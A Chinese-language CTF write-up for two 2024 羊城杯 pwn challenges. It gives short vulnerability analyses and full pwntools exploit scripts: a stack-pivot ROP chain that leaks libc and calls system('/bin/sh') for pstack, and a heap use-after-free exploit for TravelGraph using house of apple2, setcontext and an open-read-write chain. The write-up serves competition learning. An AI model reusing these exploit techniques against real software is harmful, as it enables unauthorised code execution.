[2024 羊城杯] Pwn writeup(部分)

本文总阅读量

pstack


漏洞分析

2024-08-29_11-28

有两个qword的溢出,checksec发现无pie和canary,直接栈迁移

首先改rbp到bss段上,接着再返回vuln函数在bss段上读入ROP链,然后leave&ret跳转到bss段ROP泄漏libc基址,最后再leave&ret一下拿shell.

注意这个system(“/bin/sh”)需要很长的栈空间, 迁移的bss段地址要大一点。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./pstack/pwn"
libc_path = "./pstack/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1


ip, port = "139.155.126.78", 38040
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote(ip, port)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


# =================start=================#
lev_ret_addr = 0x00000000004006DB
pop_rdi = 0x0000000000400773
ret_addr = 0x00000000003FC131


vuln_addr = 0x4006C4
bss_addr = 0x601800
puts_plt = elf.plt.puts
puts_got = elf.got.puts

payload = b"a" * 48
payload += p64(bss_addr + 0x30)
payload += p64(vuln_addr)
p.sendafter(b"?\n", payload)

payload = p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(elf.sym.vuln)
payload = payload.ljust(48, b"a")
payload += p64(bss_addr)
payload += p64(lev_ret_addr)
p.send(payload)

puts_addr = recv(b"\n")

sys, sh = search_from_libc("puts", puts_addr)

# dbg(p)
payload = p64(0)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(sh)
# payload += p64(ret_addr)
payload += p64(sys)
payload = payload.ljust(48, b"a")
payload += p64(bss_addr - 0x8)
payload += p64(lev_ret_addr)
p.send(payload)


p.interactive()

TravelGraph


漏洞分析

高版本(libc-2.35)堆题,不过没有去除符号,调试分析起来方便了很多

2024-08-29_12-01

开了沙箱,考虑用setcontext+61来控制执行流

2024-08-29_12-50

缝了个dijkstra最短路进去,不过这个题的漏洞和算法无关,只是用来拿到edit次数的。

2024-08-29_12-49

但是还有一个限制只能编辑一次,不过够用了。

add可以申请三种大小的堆,大小都是large bin范围的

2024-08-29_13-38

明显的UAF漏洞,先通过构造堆环境用来泄漏堆地址和libc基地址,edit的输入范围是通过堆上的一个数据确定的,可以通过布置堆环境来拿到任意大小的输入,这里用来修改bk_nextsize的同时布置io链,打house of apple2(感谢学长的指导)

2024-08-29_13-36

之后通过一个magic gadget修改rdx为堆地址,利用setcontext+61控制执行流,打orw

2024-08-29_13-45

利用的house of apple2中的_IO_wdefault_xsgetsn利用链,在call magic gadget之前的rax,rbx,rdi,r15都是堆地址,rsi是一个固定的值,在堆地址相应位置布置上相应的地址即可成功orw

ps:linux版本太高导致给的libc死活patch不上,报错seccomp版本不对应,导致我本机和远程分别用了不同的magic gadget,痛苦调试很长时间才把远程打通

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
# context(arch="amd64",os="linux",log_level="debug")
binary_path = "./TravelGraph/pwn"
# libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6"
libc_path = "./TravelGraph/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
# libc_dll = cdll.LoadLibrary(libc_path)


local = 1


ip, port = "139.155.126.78", 38875
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote(ip, port)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


# __libc_start_main

csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


# 2.35
# 2.37

# =================start=================#


# transport: car, train, plane
# size ----> 0x510 0x520 0x530
# max ---> 0x3e8
transport = [b"car", b"train", b"plane"]
city = [b"guangzhou", b"nanning", b"changsha", b"nanchang", b"fuzhou"]


def add(transport_num, city_from, city_to, size, note):
p.sendlineafter(b".\n", b"1")
p.sendlineafter(b"?\n", transport[transport_num])
p.sendlineafter(b"name\n", city[city_from])
p.sendlineafter(b"name\n", city[city_to])
p.sendlineafter(b"far?\n", str(size).encode())
p.sendafter(b"Note:\n", note)


def delete(city_from, city_to):
p.sendlineafter(b".\n", b"2")
p.sendlineafter(b"?\n", city[city_from])
p.sendlineafter(b"?\n", city[city_to])


def show(city_from, city_to):
p.sendlineafter(b".\n", b"3")
p.sendlineafter(b"?\n", city[city_from])
p.sendlineafter(b"?\n", city[city_to])


def edit(city_from, city_to, num, size, note):
p.sendlineafter(b".\n", b"4")
p.sendlineafter(b"name\n", city[city_from])
p.sendlineafter(b"name\n", city[city_to])
p.sendlineafter(b"change?\n", str(num).encode())
p.sendlineafter(b"far?\n", str(size).encode())
p.sendafter(b"Note:\n", note)


def calculate(city_num):
p.sendlineafter(b".\n", b"5")
p.sendlineafter(b"name\n", city[city_num])


add(1, 1, 0, 1000, b"aaaa")
add(2, 3, 2, 1000, b"aaaa")
add(2, 2, 1, 1000, b"aaaa")

calculate(3)
add(0, 4, 3, 1000, b"aaaa")
add(0, 2, 1, 1000, b"fence")
delete(4, 3)

add(1, 4, 2, 1000, b"big")

add(0, 4, 3, 1000, b"a" * 0x8 + b"|")
show(4, 3)

p.recvuntil(b"|")

heap_addr = (recv(b"\n") << 0x8) - 0x2400

delete(2, 1)
delete(3, 2)

add(0, 4, 3, 1000, b"add")

add(0, 4, 0, 1000, b"bbbb")
add(2, 4, 1, 1000, b"b" * 0xF + b"|")
show(4, 1)

p.recvuntil(b"|")

# offset = 0x1F6CE0
offset = 0x21ACE0

libc_addr = recv(b"\n") - offset
_IO_list_all = libc_addr + libc.sym._IO_list_all
setcontext = libc_addr + libc.sym.setcontext + 61

delete(4, 1)
# delete(4, 0)


add(2, 4, 1, 1000, b"a" * 0x10 + p32(0) + p32(3) + p32(0x3000) * 2)

delete(3, 4)
delete(3, 4)
delete(2, 4)

add(1, 2, 0, 1000, b"dddd")
add(0, 4, 1, 1000, b"cccc")
add(0, 3, 2, 1000, b"dddd")
delete(2, 0)
add(2, 4, 3, 1000, b"cccc")
delete(3, 2)

fake_wide_data_addr = heap_addr + 0x2940
fake_vtable_addr = heap_addr + 0x2940 + 0xF0
# _IO_wstrn_jumps = libc_addr + 0x1F3340 - 0x18
_IO_wstrn_jumps = libc_addr + 0x2171C0 - 0x18
orw_addr = fake_vtable_addr + 0x80
attack_addr = heap_addr + 0x800
# gadget = libc_addr + 0x0000000000126FA8
# 0x0000000000126fa8: mov rdx, rax; call qword ptr [rbx + 0x28];
"""
0x0000000000085251: mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rax + 0x70];
"""
# gadget = libc_addr + 0x000000000010AA6F
gadget = libc_addr + 0x0000000000085251


frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = attack_addr
frame.rdx = 0x200
frame.rsp = attack_addr + 8
frame.rip = libc_addr + libc.sym["read"]

orw = bytes(frame)

fake_vtable = p64(0) * 2
fake_vtable += p64(setcontext)
fake_vtable += p64(gadget)
fake_vtable = fake_vtable.ljust(0x70, b"\0")
fake_vtable += p64(setcontext)
fake_vtable += p64(0)
fake_vtable += orw

fake_wide_data = p64(0) * 2
fake_wide_data = fake_wide_data.ljust(0x18, b"\0")
fake_wide_data += p64(1)
fake_wide_data += p64(2)
fake_wide_data = fake_wide_data.ljust(0xE0, b"\0")
fake_wide_data += p64(fake_vtable_addr)
fake_wide_data += p64(0)
fake_wide_data += fake_vtable


payload = b"p" * 0x500
payload += p64(0)
payload += p64(0x531)
payload += p64(0) * 3
payload += p64(_IO_list_all - 0x20)
payload += b"o" * 0x508
payload += p64(0x521)
payload += fake_wide_data.ljust(0x510, b"q")
# payload += b"q" * 0x510


fake_io = p64(0x800)
fake_io += p64(0x521)
fake_io += p64(libc_addr + offset) * 2
fake_io = fake_io.ljust(0x38, b"\0")
fake_io += p64(orw_addr) # <<<<<
fake_io += p64(orw_addr + 0xFFFFFFFF) # <<<<<
fake_io += p64(orw_addr + 0xFFFFFFFF) # <<<<<
fake_io = fake_io.ljust(0xA0, b"\0")
fake_io += p64(fake_wide_data_addr)
fake_io = fake_io.ljust(0xC0, b"\0")
fake_io += p64(1)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(_IO_wstrn_jumps)

payload += fake_io


edit(3, 0, 0, 0x1000, payload)

sleep(1)

ls(heap_addr)
ls(libc_addr)
ls(_IO_list_all)
ls(_IO_list_all - libc_addr)

p.sendlineafter(b".", b"1")
p.sendlineafter(b"\n", transport[2])
p.sendlineafter(b"name", city[4])
p.sendlineafter(b"name", city[3])
p.sendlineafter(b"far?", str(1000).encode())
p.sendafter(b"Note:", b"aaaa")

dbg(p)
"""
add(2, 4, 3, 1000, b"cccc")
"""
sleep(1)

p.sendline(b"6")

sleep(1)

open_addr = libc.sym.open + libc_addr
read_addr = libc.sym.read + libc_addr
puts_addr = libc.sym.puts + libc_addr

"""
0x00000000000240e5: pop rdi; ret;
0x000000000002573e: pop rsi; ret;
0x0000000000026302: pop rdx; ret;

0x000000000002a3e5: pop rdi; ret;
0x000000000002be51: pop rsi; ret;
0x000000000011f2e7: pop rdx; pop r12; ret;
"""

"""
pop_rdi = libc_addr + 0x240E5
pop_rsi = libc_addr + 0x2573E
pop_rdx = libc_addr + 0x26302
"""
pop_rdi = libc_addr + 0x2A3E5
pop_rsi = libc_addr + 0x000000000002BE51
pop_rdx = libc_addr + 0x000000000011F2E7

payload = b"./flag\x00\x00"
payload += p64(pop_rdi)
payload += p64(attack_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(0)
payload += p64(open_addr)

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap_addr + 0x200)
payload += p64(pop_rdx)
payload += p64(0x50)
payload += p64(0x50)
payload += p64(read_addr)

payload += p64(pop_rdi)
payload += p64(heap_addr + 0x200)
payload += p64(puts_addr)
p.sendline(payload)
# _IO_switch_to_wget_mode


p.interactive()